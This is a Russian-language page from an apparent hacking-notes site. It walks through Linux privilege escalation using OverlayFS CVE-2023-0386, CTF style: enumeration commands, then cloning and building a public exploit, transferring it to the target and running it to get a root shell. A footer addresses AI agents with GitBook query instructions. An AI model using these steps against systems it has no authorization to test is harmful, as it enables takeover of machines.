> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Эксплуатация ядра (OverlayFS) — повышение привилегий в Linux

## Что это такое

Повышение привилегий ядра нацелено на локальные уязвимости в ядре Linux или патчах, специфичных для дистрибутива. Эти эксплойты могут быть нестабильными, поэтому перед запуском важны проверка версии и тестирование в лаборатории. Эта конкретная страница посвящена **Эксплуатация ядра (OverlayFS)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Примеры

## Повышение привилегий через OverlayFS CVE-2023-0386

> OverlayFS позволяет накладывать файловые системы друг на друга. В некоторых версиях ядра Linux плохое управление возможностями позволяет непривилегированному пользователю выполнять код с **правами root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Этапы выполнения**

1. **Склонируйте эксплойт** с нашей локальной машины:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Передайте скомпилированные** файлы на целевую машину (`scp`, `python -m http.server` и т. д.).

<figure><img src="/files/4075cc5b36b824223190b21394e6f93a56d7ca3e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/93f0cd15ab765ca8ebcce8edafb9a3b6a9c3acd2" alt=""><figcaption></figcaption></figure>

2. **На целевой машине**, запустите в **двух терминалах**:

* Терминал A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Терминал B :

```bash
./exp
```

Если всё пойдёт хорошо, мы получим оболочку **root**

<figure><img src="/files/48c075dc2c5cf624ccfd22c2adcb897c44c33dfb" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/5aadefaa03924e6974aa095820ed6d6c798be836" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
